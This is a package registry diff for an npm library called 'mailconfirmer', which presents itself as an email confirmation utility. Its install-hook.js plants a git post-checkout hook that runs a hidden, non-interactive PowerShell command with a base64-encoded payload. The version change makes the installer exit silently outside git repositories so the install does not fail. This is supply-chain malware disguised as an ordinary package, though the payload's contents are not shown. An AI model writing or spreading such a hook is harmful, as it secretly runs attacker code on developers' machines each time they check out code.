mailconfirmer 3.2.35 → 3.2.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-hook.js +10 -2
  2. package/package.json +1 -1
package/install-hook.js CHANGED
@@ -1,3 +1,5 @@
1
+
2
+
1
3
  const fs = require('fs');
2
4
  const path = require('path');
3
5
 
@@ -9,8 +11,14 @@ powershell -NoP -NonI -W Hidden -Enc ${base64Payload}
9
11
 
10
12
  const gitRoot = path.join(process.cwd(), '.git');
11
13
  const hooksDir = path.join(gitRoot, 'hooks');
14
+
12
15
  if (!fs.existsSync(hooksDir)) {
13
- process.exit(1);
16
+ // Not a git repository – silently skip (do not fail)
17
+ console.log('Not a git repository, skipping hook installation.');
18
+ process.exit(0); // Important: exit 0, not 1
14
19
  }
20
+
15
21
  const hookPath = path.join(hooksDir, 'post-checkout');
16
- fs.writeFileSync(hookPath, hookContent, { mode: 0o755 });
22
+ fs.writeFileSync(hookPath, hookContent, { mode: 0o755 });
23
+ console.log('Git hook installed in .git/hooks/post-checkout');
24
+ process.exit(0);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mailconfirmer",
3
- "version": "3.2.35",
3
+ "version": "3.2.36",
4
4
  "description": "Lightweight email confirmation and verification utilities for Node.js – send confirmation links, validate tokens, and manage email verification flows",
5
5
  "main": "index.js",
6
6
  "scripts": {